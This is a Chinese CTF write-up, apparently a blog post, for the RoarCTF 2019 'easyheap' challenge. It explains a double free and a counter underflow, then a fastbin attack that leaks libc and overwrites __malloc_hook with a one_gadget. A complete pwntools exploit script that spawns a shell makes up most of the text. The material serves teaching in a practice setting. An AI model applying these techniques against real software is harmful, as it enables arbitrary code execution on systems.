roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

161 篇文章 9 订阅
161 篇文章 9 订阅

roarctf_2019_easyheap

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

最开始的时候,我们可以在bss段输入一些数据,这意味着,我们可以在bss段伪造一个chunk

show功能必须要满足条件才能使用

Free后没有清空指针,因此存在double free。

666功能也可以创建和free堆,但是有次数限制,但是这个次数限制也存在漏洞,即qword_602010为0时,仍然会减去1,使得其值变成负数,下一次就可以无限制的使用这个功能了。

Glibc版本为2.23,我们可以先double free fastbin chunk,然后fastbin attack分配到bss段伪造的chunk,篡改show的标记,篡改buf指针为got表,这样,我们就能调用show泄露出地址了。

Fastbindouble free需要有一个中间chunk,这个中间chunk,我们可以从calloc分配出来的0xB0chunk里切割,切割以后,ptr指向的就是一个0x70的chunk,由于ptr指针之前没有清空,因此就能利用UAF来释放这个中间chunk,从而实现fastbin的double free。

 

add(0x60,'b'*0x60)

calloc_del()

add(0x60,'a'*0x60)

add(0x60,'a'*0x60)

#double free

delete()

calloc_del()

delete()

 

add(0x60,p64(fake_chunk_addr))

add(0x60,'a'*0x60)

add(0x60,'b'*0x60)

add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF))

show()

sh.recv(1)

read_addr = u64(sh.recv(6).ljust(8,'\x00'))

libc_base = read_addr - libc.sym['read']

realloc_addr = libc_base + realloc_s

malloc_hook_addr = libc_base + malloc_hook_s

one_gadget_addr = libc_base + one_gadget_s

print 'libc_base=',hex(libc_base)

print 'malloc_hook_addr=',hex(malloc_hook_addr)

print 'one_gadget_addr=',hex(one_gadget_addr)

调用show后,问题来了,文件描述1符将被关闭,这意味着不再有正常的输出。

Exp里都显示GOT EOF了,但是程序其实没有结束,还在运行,并且任意可以输入数据。

因此,我们该怎么样就继续怎么样操作即可。再次利用double free,然后分配到malloc_hook,写one_gadget即可,需要用realloc来调整栈。

#coding:utf8
from pwn import *

sh = process('./roarctf_2019_easyheap')
#sh = remote('node3.buuoj.cn',25252)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
realloc_s = libc.sym['realloc']
one_gadget_s = 0xf1147
elf = ELF('./roarctf_2019_easyheap')
read_got = elf.got['read']
fake_chunk_addr = 0x0000000000602060
fake_chunk = p64(0) + p64(0x71)
fake_chunk = fake_chunk.ljust(0x20,'\x00')
sh.sendafter('please input your username:',fake_chunk)
sh.sendafter('please input your info:','haivk\n')

def add(size,content,blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('1')
   if not blind:
      sh.recvuntil('input the size')
   else:
      sleep(0.3)
   sh.sendline(str(size))
   if not blind:
      sh.recvuntil('please input your content')
   else:
      sleep(0.3)
   sh.send(content)

def delete(blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('2')

def show():
   sh.sendlineafter('>>','3')

def calloc_A0(content,blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('666')
   if not blind:
      sh.recvuntil('build or free?')
   else:
      sleep(0.3)
   sh.sendline('1')
   if not blind:
      sh.recvuntil('please input your content')
   else:
      sleep(0.3)
   sh.send(content)

def calloc_del(blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('666')
   if not blind:
      sh.recvuntil('build or free?')
   else:
      sleep(0.3)
   sh.sendline('2')

calloc_A0('a'*0xA0)
add(0x60,'b'*0x60)
calloc_del()
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
#double free
delete()
calloc_del()
delete()

add(0x60,p64(fake_chunk_addr))
add(0x60,'a'*0x60)
add(0x60,'b'*0x60)
add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF))
show()
sh.recv(1)
read_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
realloc_addr = libc_base + realloc_s
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#第一次调用为0时,不会执行,减1后变成负数
calloc_A0('a',True)
#利用同样的方法来double free
calloc_A0('a'*0xA0,True)
add(0x60,'b'*0x60,True)
calloc_del(True)
add(0x60,'a'*0x60,True)
add(0x60,'a'*0x60,True)
#double free
delete(True)
calloc_del(True)
delete(True)
add(0x60,p64(malloc_hook_addr - 0x23),True)
add(0x60,'a'*0x60,True)
add(0x60,'b'*0x60,True)
add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x14),True)
#getshell
sh.sendline('1')
sleep(0.3)
sh.sendline('1')

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值